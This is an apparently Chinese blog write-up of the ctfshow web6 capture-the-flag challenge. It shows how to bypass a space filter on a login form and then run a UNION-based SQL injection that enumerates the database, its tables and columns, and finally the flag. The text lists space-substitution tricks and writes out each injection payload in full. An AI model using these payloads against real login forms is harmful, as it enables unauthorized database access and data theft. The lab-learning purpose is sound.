CTFshow-Web-SQL注入空格过滤绕过POST类型

一、靶场:ctfshow web6
二、解题步骤
步骤一:观察页面发现是一个登录页面,初步怀疑是sql注入

image1

步骤二:使用万能密码尝试注入

image2

image3

这里可以发现有报错

步骤三:使用bp抓包分析发送的数据包内容

image4

这里可以发现发送的数据包中空格都被过滤了

步骤三:使用特殊字符进行绕过

一般空格被过滤有如下替换方法

/**/

()

回车(url编码中的%0a)

`(tap键上面的按钮)

tap

两个空格

这里使用/**/来替代空格:

image5

步骤四:使用手工显注的常规方法进行爆库:

1)判断回显位:password=1&username=admin'/**/union/**/select/**/1,2,3;#

image6

2)爆库名:password=1&username=admin'/**/union/**/select/**/1,database(),3;#

image7

3)爆库下的表名:password=1&username=admin'/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database();#

image8

4)目标应该在flag表中,那么就爆flag表中的内容;爆列名:password=1&username=admin'/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag';#

image9

5)爆值:password=1&username=admin'/**/union/**/select/**/1,group_concat(flag),3/**/from/**/flag;#

image10

posted @ 2025-12-03 09:33  shinianyunyan  阅读(20)  评论(0)    收藏  举报